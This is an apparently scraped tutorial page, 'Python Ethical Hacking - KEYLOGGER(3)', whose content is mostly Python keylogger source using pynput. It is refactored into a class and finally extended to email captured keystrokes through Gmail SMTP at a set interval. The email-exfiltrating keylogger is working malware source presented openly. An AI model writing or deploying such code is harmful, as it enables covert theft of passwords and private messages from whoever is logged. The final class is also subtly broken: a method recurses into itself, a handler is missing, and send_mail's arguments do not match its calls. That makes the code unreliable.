Python Ethical Hacking - KEYLOGGER(3)
发布时间:2020-12-20 10:24:23 所属栏目:Python 来源:网络整理
导读:Object-Oriented Programming Keylogger Classes Way of modeling program(blueprint). Logically group functions and data. Makes code more readable. More reusable. Separate implementation from usage(encapsulation). Easier to extend. Easier to m
Object-Oriented Programming Keylogger Classes
The Keylogger Class: #!/usr/bin/env python import threading import pynput.keyboard log = "" class Keylogger: def process_key_press(self,key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " def report(self): global log print(log) log = "" timer = threading.Timer(10,self.report) timer.start() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join() The main Python program calling the Keylogger Class: #!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger() my_keylogger.start() ? ? ? ?Constructor Method & Instance Variables:
#!/usr/bin/env python import threading import pynput.keyboard class Keylogger: def __init__(self): self.log = "" def append_to_log(self,string): self.log = self.log + string def process_key_press(self,key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): print(self.log) self.log = "" timer = threading.Timer(10,self.report) timer.start() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join() ? ? Polish the Python Class Code once more to log Key-strikes and report them by email. #!/usr/bin/env python import threading import smtplib import pynput.keyboard class Keylogger: def __init__(self,time_interval,email,password): self.log = "Keylogger started" self.interval = time_interval self.email = email self.password = password def append_to_log(self,key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): print(self.log) self.send_mail(self.email,self.password,"nn" + self.log) self.log = "" timer = threading.Timer(self.interval,self.report) timer.start() def send_mail(self,password,message): server = smtplib.SMTP("smtp.gmail.com",587) server.starttls() server.login(email,password) server.sendmail(email,message) server.quit() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join() Main program: #!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120,"[email?protected]","12345678") my_keylogger.start() (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |